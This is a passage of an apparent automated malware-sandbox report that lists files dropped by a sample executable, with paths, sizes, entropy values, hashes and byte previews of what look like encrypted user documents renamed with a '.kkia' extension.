SSDEEP:	24:RMqSyrFWaBpPQuzBQGP3UKxP8U47RM6f8IZS0IwlIoDXH96u2srXtWkbD:hxDYuzBjPQRnEwS0IQRX96tsztzD
MD5:	97A0BC74046494B6CC04AAF9E31FE910
SHA1:	B35BFA66829438C7283585ABCB0004CDAB2BE9D6
SHA-256:	9CA59A8C5D936B8E22FD9DCABF8F20B32340CA2674BA3C250BAFC40742175815
SHA-512:	D1BB2A0D5C9735111EF075CA17525C8D6B2AE07C3B65AE2435CFCD6F52FEED63D6A52BC4CB3195192C16DD611EDCBE9AC6E6045D30DA3BE580D61A10B8DCC086
Malicious:	false
Preview:	EIVQS)...6....@..\5.}D/vV.s.Tg{17..o...B......hP.wfT..K..C...X........;y..$.fp%.....#a_e.`}...6qw),...:.....q.@s..{..."...L.Yi..o.#.....tYk.G..B...O0.~..z....E...n{.;..'..n..9....3...rd......P...vb..3mzd9?.....Y....-.....B.=.`.......W......5...l.+D.8..,...T....Y.3.....k{2.X:..<...(.1.t1.i..G.K..`f.R.....K...<>.... .'v.....C.7Wl....L.......t.E.c3.f..T..)....5.5;. .wa.>GS.~F..\J`\...W..1...E....g....8@m..q.^..).$l...zy..U...fZj...........!.R..@c.:H..$..Z...NA)X...".....pm.O.h.L..N.\..HE..M......?h.w..........{..... ..;..C.z..5`Q}LD..............*.Q.e.../..cT'.w`..}..w+...+..]rq1...K-B........]...WAh3...2..QU..-.3...6!iOS.Ab...@:..t.cm.D6.a..G@XK.yY'z./....M.0!.{.,.....mL.N.4.5.$.L.Wo...jn.....y."0.NI.7..n.&.....p.Kx......O.?H!-+.u4..Y.>....5...VN-......}.d.E.n.-.R... .z:l...sy.s.......8.._...r'.l....sy.E.7zn..(......c..TG...j......f...-.L......h...7.y..b.%.........s.J.bpP....0OX.g.FR..7....k.>..j.".....a..^ln....X..8\......9A..j..'.

C:\Users\user\Downloads\EIVQSAOTAQ.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854164592569482
Encrypted:	false
SSDEEP:	24:RMqSyrFWaBpPQuzBQGP3UKxP8U47RM6f8IZS0IwlIoDXH96u2srXtWkbD:hxDYuzBjPQRnEwS0IQRX96tsztzD
MD5:	97A0BC74046494B6CC04AAF9E31FE910
SHA1:	B35BFA66829438C7283585ABCB0004CDAB2BE9D6
SHA-256:	9CA59A8C5D936B8E22FD9DCABF8F20B32340CA2674BA3C250BAFC40742175815
SHA-512:	D1BB2A0D5C9735111EF075CA17525C8D6B2AE07C3B65AE2435CFCD6F52FEED63D6A52BC4CB3195192C16DD611EDCBE9AC6E6045D30DA3BE580D61A10B8DCC086
Malicious:	false
Preview:	EIVQS)...6....@..\5.}D/vV.s.Tg{17..o...B......hP.wfT..K..C...X........;y..$.fp%.....#a_e.`}...6qw),...:.....q.@s..{..."...L.Yi..o.#.....tYk.G..B...O0.~..z....E...n{.;..'..n..9....3...rd......P...vb..3mzd9?.....Y....-.....B.=.`.......W......5...l.+D.8..,...T....Y.3.....k{2.X:..<...(.1.t1.i..G.K..`f.R.....K...<>.... .'v.....C.7Wl....L.......t.E.c3.f..T..)....5.5;. .wa.>GS.~F..\J`\...W..1...E....g....8@m..q.^..).$l...zy..U...fZj...........!.R..@c.:H..$..Z...NA)X...".....pm.O.h.L..N.\..HE..M......?h.w..........{..... ..;..C.z..5`Q}LD..............*.Q.e.../..cT'.w`..}..w+...+..]rq1...K-B........]...WAh3...2..QU..-.3...6!iOS.Ab...@:..t.cm.D6.a..G@XK.yY'z./....M.0!.{.,.....mL.N.4.5.$.L.Wo...jn.....y."0.NI.7..n.&.....p.Kx......O.?H!-+.u4..Y.>....5...VN-......}.d.E.n.-.R... .z:l...sy.s.......8.._...r'.l....sy.E.7zn..(......c..TG...j......f...-.L......h...7.y..b.%.........s.J.bpP....0OX.g.FR..7....k.>..j.".....a..^ln....X..8\......9A..j..'.

C:\Users\user\Downloads\EIVQSAOTAQ.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8655385335529076
Encrypted:	false
SSDEEP:	24:Ryk+B5kP5/sKsdgAyGDAHx0uoAwr5gZvu2KmS3hKJBuFbzcoFFkCH9nkbXulRPkX:4ok9aAyIuoAwrOGj3hKJB4FFkCHhkbXZ
MD5:	3DCDDA0FD4CA0B5FD4C15070B3823315
SHA1:	8908892A2726C38A4903A9A3BA68D09CA9377294
SHA-256:	2E3B388437C445B9DBE03006E2478D513DC30ED0676EE31C029922994B510945
SHA-512:	79C68BBBB197B7ACCA17A74A7F32E47E766D2B59E9CA0DE6C8532476713F7C3EFB11D643638F1CF367D056E0F163F13BEE58A2CBD69D7AF7CC37AC28FEC0E9FB
Malicious:	false
Preview:	EIVQSu+,.k..x).c../.r.n.D.......xKR........o.....a.....Z.....n(DnA.]l.....]>..\|8....E.GX;.e"[....W...Yy FP..R.nl...t.=^h..k...ci.>&H....V...H:...I.om.s..C..X.7....(Y..TdW.m.]...G..}.jj....e...........c...G@...}..6;.!mEA..1w.=....\|Q0dZ....<9;=.\|.A..x.I..V..0...U.......W6....G9..?.HM.E.p....`.p...6..F...(.....u.t.y...pR..."%......sy..d.:\|.4..~....+9.Y'RZAL..B..,...N..b.:.k...s.!..\|.Dj.....Y.K).s.P..v.....7L.zUD)"..p.P..k$......./m..E.k..U.4..'....9n...64G.Co....h......:.1(..z....B....-.v.R......$Z.v$ey.h...I.W.5......`....W.>..B....b....f:.@.CC.d.d+I..@4L0..>$o. .L_....b..N......5 z....B.[3......2N.....z._.?.....P....n0..5.....[....F~}.z.ig...R.)VK.Ug...uuq.u.`.....5o ...2....6..o_.:!..5.K.v...NY.~.ck...3.E..i..~......Gg9^..VT...m.g....tiXt.G.2P...)X\..G..\=0.>.F....p.VG=CF....5..d....7..D...%..Y.eID...b?oE.]9..)...b,o.c.M......n.=h.q.....a..0...o(...}...C.QJ.%....aFT..1...=.. .{(8........q.......Z....xJ,....m.....'..^jL..'Y......L.

C:\Users\user\Downloads\EIVQSAOTAQ.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8655385335529076
Encrypted:	false
SSDEEP:	24:Ryk+B5kP5/sKsdgAyGDAHx0uoAwr5gZvu2KmS3hKJBuFbzcoFFkCH9nkbXulRPkX:4ok9aAyIuoAwrOGj3hKJB4FFkCHhkbXZ
MD5:	3DCDDA0FD4CA0B5FD4C15070B3823315
SHA1:	8908892A2726C38A4903A9A3BA68D09CA9377294
SHA-256:	2E3B388437C445B9DBE03006E2478D513DC30ED0676EE31C029922994B510945
SHA-512:	79C68BBBB197B7ACCA17A74A7F32E47E766D2B59E9CA0DE6C8532476713F7C3EFB11D643638F1CF367D056E0F163F13BEE58A2CBD69D7AF7CC37AC28FEC0E9FB
Malicious:	false
Preview:	EIVQSu+,.k..x).c../.r.n.D.......xKR........o.....a.....Z.....n(DnA.]l.....]>..\|8....E.GX;.e"[....W...Yy FP..R.nl...t.=^h..k...ci.>&H....V...H:...I.om.s..C..X.7....(Y..TdW.m.]...G..}.jj....e...........c...G@...}..6;.!mEA..1w.=....\|Q0dZ....<9;=.\|.A..x.I..V..0...U.......W6....G9..?.HM.E.p....`.p...6..F...(.....u.t.y...pR..."%......sy..d.:\|.4..~....+9.Y'RZAL..B..,...N..b.:.k...s.!..\|.Dj.....Y.K).s.P..v.....7L.zUD)"..p.P..k$......./m..E.k..U.4..'....9n...64G.Co....h......:.1(..z....B....-.v.R......$Z.v$ey.h...I.W.5......`....W.>..B....b....f:.@.CC.d.d+I..@4L0..>$o. .L_....b..N......5 z....B.[3......2N.....z._.?.....P....n0..5.....[....F~}.z.ig...R.)VK.Ug...uuq.u.`.....5o ...2....6..o_.:!..5.K.v...NY.~.ck...3.E..i..~......Gg9^..VT...m.g....tiXt.G.2P...)X\..G..\=0.>.F....p.VG=CF....5..d....7..D...%..Y.eID...b?oE.]9..)...b,o.c.M......n.=h.q.....a..0...o(...}...C.QJ.%....aFT..1...=.. .{(8........q.......Z....xJ,....m.....'..^jL..'Y......L.

C:\Users\user\Downloads\EOWRVPQCCS.png

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838452097327825
Encrypted:	false
SSDEEP:	24:NMri6pJAAzoFe9YRFBMzj8ODrbx1thHIC2bBhBDBoLNv7zUM1TVf5kbD:6riCwF/RFuzj8WxtHiBhRBa7oehgD
MD5:	D895A8508D3AA3D04EAE676E32102ED4
SHA1:	8EAE8538A75611B41B8F372FDEC399A5C9C4912C
SHA-256:	7543DBE4271D888842C508ECECFA4BD20F0DC372D89DF77177951D156ACF1EC2
SHA-512:	220CCF4AFA87B1E549C9C3DA07DB162016DB3C87BFEECBE557351A8631224D42036162B5DABADE057B5BDB79392EA12AA8A446DF1C4E75A260FFE73C51B8EE65
Malicious:	false
Preview:	EOWRV./.5y...gx..>).S.J.:.=v..:..n..#WM:.E....MI..+K....~...s{.=.fuKH...\.&...2..........O...py<.)....../@.\..S..V..a...9..Q;...F.I..wJ#..f.....h<\|.....E..r.\|@......j.w:.q.cB.RV.Yn.g..C... t...`......_..qX..i8NC/q.W...&5.k......J..1V..1..r.o'...m&......[\|.\|..7^..7.ew..%.$.WP.@K.k2.....yy.....-.}=......9.....4.........3S....1].J..<.f.'..3.!..I..O.. .s..$...Gdh.-.....d...n..?....@T...g..2T.`..0!P..4........v.u.s0..'.~...jD...X..LZRKY...@...e.$.-..=....D..)..4/.......(e..i..0v....s......).&rk...Cyt..,.4.&...3.^.G...v..pdB.......s..[..s.%.....].Y..}N2..".E...)....Z....jGBy....7Hc.r..S..."..T4.#O.CA....J.>&JI_.~C.gLxw.Z.k.p/>.<..I^.S......C....Yf..........4....../A..v..t..........m..r#>#Sjn. ..j..F....EU.ZW;..FZ9.....y{C."S..!4.m_4....A.-Q..m.k.. .......m..M.Y..Lj...U...$...Z....c{.\|.`.cY..5.59C.+.....}.+.#......Q,....!.D.....Mk....9.S7.+..aZ(5_<\..LU]~......}.b...fQ.y..k.`E?'H.1...-.....m.Y0..Rd.k].R'Dr..CN.\|...._..WWG:O>....#.\.!D..)....G

C:\Users\user\Downloads\EOWRVPQCCS.png.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838452097327825
Encrypted:	false
SSDEEP:	24:NMri6pJAAzoFe9YRFBMzj8ODrbx1thHIC2bBhBDBoLNv7zUM1TVf5kbD:6riCwF/RFuzj8WxtHiBhRBa7oehgD
MD5:	D895A8508D3AA3D04EAE676E32102ED4
SHA1:	8EAE8538A75611B41B8F372FDEC399A5C9C4912C
SHA-256:	7543DBE4271D888842C508ECECFA4BD20F0DC372D89DF77177951D156ACF1EC2
SHA-512:	220CCF4AFA87B1E549C9C3DA07DB162016DB3C87BFEECBE557351A8631224D42036162B5DABADE057B5BDB79392EA12AA8A446DF1C4E75A260FFE73C51B8EE65
Malicious:	false
Preview:	EOWRV./.5y...gx..>).S.J.:.=v..:..n..#WM:.E....MI..+K....~...s{.=.fuKH...\.&...2..........O...py<.)....../@.\..S..V..a...9..Q;...F.I..wJ#..f.....h<\|.....E..r.\|@......j.w:.q.cB.RV.Yn.g..C... t...`......_..qX..i8NC/q.W...&5.k......J..1V..1..r.o'...m&......[\|.\|..7^..7.ew..%.$.WP.@K.k2.....yy.....-.}=......9.....4.........3S....1].J..<.f.'..3.!..I..O.. .s..$...Gdh.-.....d...n..?....@T...g..2T.`..0!P..4........v.u.s0..'.~...jD...X..LZRKY...@...e.$.-..=....D..)..4/.......(e..i..0v....s......).&rk...Cyt..,.4.&...3.^.G...v..pdB.......s..[..s.%.....].Y..}N2..".E...)....Z....jGBy....7Hc.r..S..."..T4.#O.CA....J.>&JI_.~C.gLxw.Z.k.p/>.<..I^.S......C....Yf..........4....../A..v..t..........m..r#>#Sjn. ..j..F....EU.ZW;..FZ9.....y{C."S..!4.m_4....A.-Q..m.k.. .......m..M.Y..Lj...U...$...Z....c{.\|.`.cY..5.59C.+.....}.+.#......Q,....!.D.....Mk....9.S7.+..aZ(5_<\..LU]~......}.b...fQ.y..k.`E?'H.1...-.....m.Y0..Rd.k].R'Dr..CN.\|...._..WWG:O>....#.\.!D..)....G

C:\Users\user\Downloads\GRXZDKKVDB.mp3

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865269647737265
Encrypted:	false
SSDEEP:	24:hcPrphbr3wug7t4ex3tcbeVxgLU3Zds05pCYCZeFzm9BapRNyIeNpmte0YbCtkbD:ubwuQ4QNz3zn+YNF+BygrMGu8D
MD5:	14069286D1565524F67726EAE938DC47
SHA1:	8459B4BEC32FC1A18B36559EA7E345A11391EE02
SHA-256:	6B0B60BDAB5DD935DBF6EB72068FD8E6CBD473AB155BD9B2B4958977133C94F5
SHA-512:	4F5996DF88B3D99A4860761E581E4F7398CB12F9009E60A840BBA2C193923285541EEEC5BA8C65478927C519EE1F780C7A8E18123DD8016B51B5D7E37D722EB6
Malicious:	false
Preview:	GRXZDp.oAx.0*d......K...0.2.WP.K.c...9... !....k..h.....c2..q4.Q...\|\|......j...V......dz..FLIh..........X.....P.j.Hz...6.. w!..E..1.t..s\/X``.#..r.~..y....)u........zT.;..m.........==..}<U.,.l....1.....u...^.>.T...WO...........n.f..zh k.j.A2..E]ps....&.,...bv.......v5..ct....h......"....EH...aN... U.0.<...Tc.!. .....<_.....v1K...=.`..(..U...\|Fx.y...y~.............Jk.v...T.&...uS;.u.....F66..>.#...";.\|...>r3...o.[.K!x.5"..r..o....7.I...RX....x..&.E.t.W.O.....F.3......_.....0.Z..F....P.....l..3/<.s9.....0G..............._.(%....E.X...M....ZB.4D#.5....K.Ns..:...$.n...1.g.."..+.$s...g....uIJ.h.W..R].I......P........B.%.i.^......3...Mz...r..>..-.?.........pd.o.....#......ssG...f..j+.J..'.?..ZH>'.t.x.....Y~7..[..t..Z.mk.a...Nq4.#.F.q}K.WA;j.QCrV.!..9Z....T..-...[6...;..Ur!R.e$.!....^.!R...]....=...ZY........k.....u...]=.r.b..oR3./....A..=..O..,v@.k7.....Q.......T...Hs.>.4~..^V..y\|/..z../..0!@...)^....+E.a0...+."H.F.b.DI..0..dM....v.l

C:\Users\user\Downloads\GRXZDKKVDB.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865269647737265
Encrypted:	false
SSDEEP:	24:hcPrphbr3wug7t4ex3tcbeVxgLU3Zds05pCYCZeFzm9BapRNyIeNpmte0YbCtkbD:ubwuQ4QNz3zn+YNF+BygrMGu8D
MD5:	14069286D1565524F67726EAE938DC47
SHA1:	8459B4BEC32FC1A18B36559EA7E345A11391EE02
SHA-256:	6B0B60BDAB5DD935DBF6EB72068FD8E6CBD473AB155BD9B2B4958977133C94F5
SHA-512:	4F5996DF88B3D99A4860761E581E4F7398CB12F9009E60A840BBA2C193923285541EEEC5BA8C65478927C519EE1F780C7A8E18123DD8016B51B5D7E37D722EB6
Malicious:	false
Preview:	GRXZDp.oAx.0*d......K...0.2.WP.K.c...9... !....k..h.....c2..q4.Q...\|\|......j...V......dz..FLIh..........X.....P.j.Hz...6.. w!..E..1.t..s\/X``.#..r.~..y....)u........zT.;..m.........==..}<U.,.l....1.....u...^.>.T...WO...........n.f..zh k.j.A2..E]ps....&.,...bv.......v5..ct....h......"....EH...aN... U.0.<...Tc.!. .....<_.....v1K...=.`..(..U...\|Fx.y...y~.............Jk.v...T.&...uS;.u.....F66..>.#...";.\|...>r3...o.[.K!x.5"..r..o....7.I...RX....x..&.E.t.W.O.....F.3......_.....0.Z..F....P.....l..3/<.s9.....0G..............._.(%....E.X...M....ZB.4D#.5....K.Ns..:...$.n...1.g.."..+.$s...g....uIJ.h.W..R].I......P........B.%.i.^......3...Mz...r..>..-.?.........pd.o.....#......ssG...f..j+.J..'.?..ZH>'.t.x.....Y~7..[..t..Z.mk.a...Nq4.#.F.q}K.WA;j.QCrV.!..9Z....T..-...[6...;..Ur!R.e$.!....^.!R...]....=...ZY........k.....u...]=.r.b..oR3./....A..=..O..,v@.k7.....Q.......T...Hs.>.4~..^V..y\|/..z../..0!@...)^....+E.a0...+."H.F.b.DI..0..dM....v.l

C:\Users\user\Downloads\GRXZDKKVDB.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8592211459402
Encrypted:	false
SSDEEP:	24:f8ze9vMy2mtOcCe8aozWpDz8WO91TS7YCgtdVzXVSfnKyKNFukbD:Eze9vK4OuwWm1+9glzFSfnpCFrD
MD5:	312BCBF5E48DC1C1DB8B0D964EA4A693
SHA1:	6190CC2A0A21E15ADC7E859B8FC64794E9BE0D15
SHA-256:	F26EED986E3B405C5CC6AE6BC2359EA97CDA97286DBD55B96E1A16EA08165C8E
SHA-512:	504EE58FF0D529F32819A8393632A019EC25C186DA413FEB5F4DEC81921DD868CDD10FB3B3003A4A19C3429454214B7BFFB43EAE87A3255F6F1BDEB53FD9A127
Malicious:	false
Preview:	GRXZD=..!W..P/...L.nD...Zz..$V._...<~.T..7...p.......T`W.X.T..S2J......\|?.h...B...a\..D..ro82. ..a..DE..sd......+R...d..f....VcbK".....c..m%p.E$..v...o.2...m...U<..F..~......H.1.DC.4s...Vgr.{..:}..].F1.SS.x.`....E....I. ......Z...5R.........#5..d.N91..0....d....W/Sp\|....P...E..k,".C%...V....... .H.l..........27P...B[..o.W..V..yQ...#.3..r.>.&v.x.g./Y.j..k=..#<....%.w......E~.(Y.P_.q..=-.J..Up..(.n...6:.rh.....L_<E..E..'.......J......$u.Xw>-5O.....Y.[M...d.....L..b.C.)..0x.%..k..#....H.7....lB.9..X.~.#`..?QN_.(..D.EtU.n.....> ?l.Q.+.......W..xD..M....T.....F.v.G:.A.<..m`.x.A8ZI...^,...BX../....<..E..dx....7.0.:A...-....8J..p....2.y..g...FDxV.S./..a.<.....g...n.....O..-?.'..lx....t,h...k.p.o.\|I.}....h.y.p.....o. ./.D.l....2......Uu.9....T.E.m=..w...E..fn....Y..4`.....9...Z...G...,.O.c......s..{.=r.s...X.eF.v..+.....JH..x.}..c%.6..8..Y$....N.k-Y..Br^....K.k.y..>&.fu...Y.Z.+..q.......@.../..e]...!}..LM.....>De~v..0...F....#f.3;(...

C:\Users\user\Downloads\GRXZDKKVDB.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8592211459402
Encrypted:	false
SSDEEP:	24:f8ze9vMy2mtOcCe8aozWpDz8WO91TS7YCgtdVzXVSfnKyKNFukbD:Eze9vK4OuwWm1+9glzFSfnpCFrD
MD5:	312BCBF5E48DC1C1DB8B0D964EA4A693
SHA1:	6190CC2A0A21E15ADC7E859B8FC64794E9BE0D15
SHA-256:	F26EED986E3B405C5CC6AE6BC2359EA97CDA97286DBD55B96E1A16EA08165C8E
SHA-512:	504EE58FF0D529F32819A8393632A019EC25C186DA413FEB5F4DEC81921DD868CDD10FB3B3003A4A19C3429454214B7BFFB43EAE87A3255F6F1BDEB53FD9A127
Malicious:	false
Preview:	GRXZD=..!W..P/...L.nD...Zz..$V._...<~.T..7...p.......T`W.X.T..S2J......\|?.h...B...a\..D..ro82. ..a..DE..sd......+R...d..f....VcbK".....c..m%p.E$..v...o.2...m...U<..F..~......H.1.DC.4s...Vgr.{..:}..].F1.SS.x.`....E....I. ......Z...5R.........#5..d.N91..0....d....W/Sp\|....P...E..k,".C%...V....... .H.l..........27P...B[..o.W..V..yQ...#.3..r.>.&v.x.g./Y.j..k=..#<....%.w......E~.(Y.P_.q..=-.J..Up..(.n...6:.rh.....L_<E..E..'.......J......$u.Xw>-5O.....Y.[M...d.....L..b.C.)..0x.%..k..#....H.7....lB.9..X.~.#`..?QN_.(..D.EtU.n.....> ?l.Q.+.......W..xD..M....T.....F.v.G:.A.<..m`.x.A8ZI...^,...BX../....<..E..dx....7.0.:A...-....8J..p....2.y..g...FDxV.S./..a.<.....g...n.....O..-?.'..lx....t,h...k.p.o.\|I.}....h.y.p.....o. ./.D.l....2......Uu.9....T.E.m=..w...E..fn....Y..4`.....9...Z...G...,.O.c......s..{.=r.s...X.eF.v..+.....JH..x.}..c%.6..8..Y$....N.k-Y..Br^....K.k.y..>&.fu...Y.Z.+..q.......@.../..e]...!}..LM.....>De~v..0...F....#f.3;(...

C:\Users\user\Downloads\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846311102856726
Encrypted:	false
SSDEEP:	24:Lqc16BPNxaLmlKns0yNGkv+yjYAVACx9WaG7sVTdxFI5tIzx6MjkbD:F6BPNxI20yNB+ybAC334tIV6D
MD5:	26DF9B84CC62F91F13E28CDC9DF015D3
SHA1:	E33328AD58BE8D5F60A76FEEFF7BF986AC4C2DA4
SHA-256:	2D2C0F486579199BC5B92B7770C5B2186C8921E27E8B95BFB3E2B97B12A9AE64
SHA-512:	8FB75C75BDEEF5701E1F3575388458A9739782C38CFE6353C6BF462F83BA7857D8FCD31D68644290EBFF8B7EDA4315ABE89FE6D1B3ABE6B7A54A4750E4283DB3
Malicious:	false
Preview:	GRXZD.=%..IO(..!.'.....A..U;......(..g3.....L....(.-......>jc.{.;....7...Y......)...i......+.m..2.cK.;H..ST^EE..d..S.y.9...._>_.,.w=.p .3c.....+.......!..d...s..Ei.......$UH..5.._....m..."V..^.w.H....A.S.?..c7\...%..l.`\.l.. ...+..0..Vj.`y]D..!.....w?....\?.l....3%..... 2.....U$&Qb-6...H...8g.....Zhbf 3....r.C'w...+-.Q[.}.#..d=._:.KV\.~Y~.i..t2.%J;a.~W....;.4.G.>.E..E.Am'.)D.\|<...t^-.X5...n.8.%...7k.\.X.s......h.. ........\...../#..#u.@,>7..\|o...f=<g.6...D.J..,.I.a..g....+.vP.A.m.4..g-.v.S..+..U.....Q...V!......n..$_.%.z...s..@.x..`.._:.z..c...L...5.n....6....:+.DP..'.y..Q.G..\^.-.d.....P..y...@..`.i..m.)...Dm5.....CN.,...^.-.......?......r.#.OXjNAE)....r...?.\|..9.I.<...D.O.........n..28:.U.]...T...R8../=N..o.f....9..2...........\.2.Y..S.5..hE..e...5.........)a.v..A...8B.%..........z!....D.9.z.X.?R...~9.h7....EOm....{#...X......yI.G+z .......j..wv>.....F.....'....X..z*.z.o.\|....L...M....Nw...9.^L0..h........Z..<.j.6.:...R.jm...).i

C:\Users\user\Downloads\GRXZDKKVDB.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846311102856726
Encrypted:	false
SSDEEP:	24:Lqc16BPNxaLmlKns0yNGkv+yjYAVACx9WaG7sVTdxFI5tIzx6MjkbD:F6BPNxI20yNB+ybAC334tIV6D
MD5:	26DF9B84CC62F91F13E28CDC9DF015D3
SHA1:	E33328AD58BE8D5F60A76FEEFF7BF986AC4C2DA4
SHA-256:	2D2C0F486579199BC5B92B7770C5B2186C8921E27E8B95BFB3E2B97B12A9AE64
SHA-512:	8FB75C75BDEEF5701E1F3575388458A9739782C38CFE6353C6BF462F83BA7857D8FCD31D68644290EBFF8B7EDA4315ABE89FE6D1B3ABE6B7A54A4750E4283DB3
Malicious:	false
Preview:	GRXZD.=%..IO(..!.'.....A..U;......(..g3.....L....(.-......>jc.{.;....7...Y......)...i......+.m..2.cK.;H..ST^EE..d..S.y.9...._>_.,.w=.p .3c.....+.......!..d...s..Ei.......$UH..5.._....m..."V..^.w.H....A.S.?..c7\...%..l.`\.l.. ...+..0..Vj.`y]D..!.....w?....\?.l....3%..... 2.....U$&Qb-6...H...8g.....Zhbf 3....r.C'w...+-.Q[.}.#..d=._:.KV\.~Y~.i..t2.%J;a.~W....;.4.G.>.E..E.Am'.)D.\|<...t^-.X5...n.8.%...7k.\.X.s......h.. ........\...../#..#u.@,>7..\|o...f=<g.6...D.J..,.I.a..g....+.vP.A.m.4..g-.v.S..+..U.....Q...V!......n..$_.%.z...s..@.x..`.._:.z..c...L...5.n....6....:+.DP..'.y..Q.G..\^.-.d.....P..y...@..`.i..m.)...Dm5.....CN.,...^.-.......?......r.#.OXjNAE)....r...?.\|..9.I.<...D.O.........n..28:.U.]...T...R8../=N..o.f....9..2...........\.2.Y..S.5..hE..e...5.........)a.v..A...8B.%..........z!....D.9.z.X.?R...~9.h7....EOm....{#...X......yI.G+z .......j..wv>.....F.....'....X..z*.z.o.\|....L...M....Nw...9.^L0..h........Z..<.j.6.:...R.jm...).i

C:\Users\user\Downloads\KLIZUSIQEN.png

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.827958600190724
Encrypted:	false
SSDEEP:	24:bKl177hWEbYOuLI9tVCQAEip6MXCBAJ4p+JrWvIOTvrLQkbD:el17t5bqLozipYWZJeD
MD5:	DF8E019DE076723A3CDBC43E647F8E73
SHA1:	CCAC3646B91171F9486F25470C778BB21C7A6F0F
SHA-256:	6CCEAA2848F726AED2FCCBFF1BC0F3B6EF1A560F96BE36CEC6281C0F89C643C1
SHA-512:	5FFBD64237F2A01B927C669F8E162051CE335CA0C82EB33E58FD97B55F5284ECB102732C027329ED4E70DB1BFCD5BFB08EBCC263129DF1DE54D0B2B02C7C3495
Malicious:	false
Preview:	KLIZU".L!\|....1.h..0)g...\|........;...i)p.,h..R...G..o..\|.....T.z-.....lU!...)..N..sy......U.f ...Lm.. ..O..c...?.;....Y@.W{?...&j..2.mQ.A..#.0..0.....<..j.76.".Z....i.H...O...>Q..F..lK.......<><X.s?.....r......F.z...9Q~../&..rQ"....B.}.X.P........"..c..f...w...<;F..^5..T.&.2S.$..~#..%..C6.g.F.q..s..4l.W....)......`!U60.k.mY8....0..1C1.<./h.......A.Q..=[.;...\|..(.+rD.. ...\..\...n..!.[..v.\.]..9..8.'.F..~5.D{t.^)..H{....sC..527l.L.W..Y.{{...f.Ym0..d....2....`...2q....;.$`.#.....=..=..8o._7\|..b..V.\....p..z......H5V...`.B.#..e...}qy.z......^.Oe..M........A.l.x..8.U.^.[.Mprp..1.s.db.]. s......a..mJs+G&QH@.XnN..........mwo......+.Y.u:....).z.+X....^/.....;..[+....j.{@.K..g.v.[..W.X.....T. /..}.n\.....\...1...`H.u..U....0..3.a....&.{.z..uu'U8".....a..0...Y...{..]..+*.z..=.\|nv#w..c.k...nK........{...B..Bo#VX4.o..>......ur.^..... ......c..@.o."k......pn....y.....q4..:........sV{.&.......7..IrR%..L.7.U..{....P5.v.e...,F..../p.g:XLp.W../

C:\Users\user\Downloads\KLIZUSIQEN.png.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.827958600190724
Encrypted:	false
SSDEEP:	24:bKl177hWEbYOuLI9tVCQAEip6MXCBAJ4p+JrWvIOTvrLQkbD:el17t5bqLozipYWZJeD
MD5:	DF8E019DE076723A3CDBC43E647F8E73
SHA1:	CCAC3646B91171F9486F25470C778BB21C7A6F0F
SHA-256:	6CCEAA2848F726AED2FCCBFF1BC0F3B6EF1A560F96BE36CEC6281C0F89C643C1
SHA-512:	5FFBD64237F2A01B927C669F8E162051CE335CA0C82EB33E58FD97B55F5284ECB102732C027329ED4E70DB1BFCD5BFB08EBCC263129DF1DE54D0B2B02C7C3495
Malicious:	false
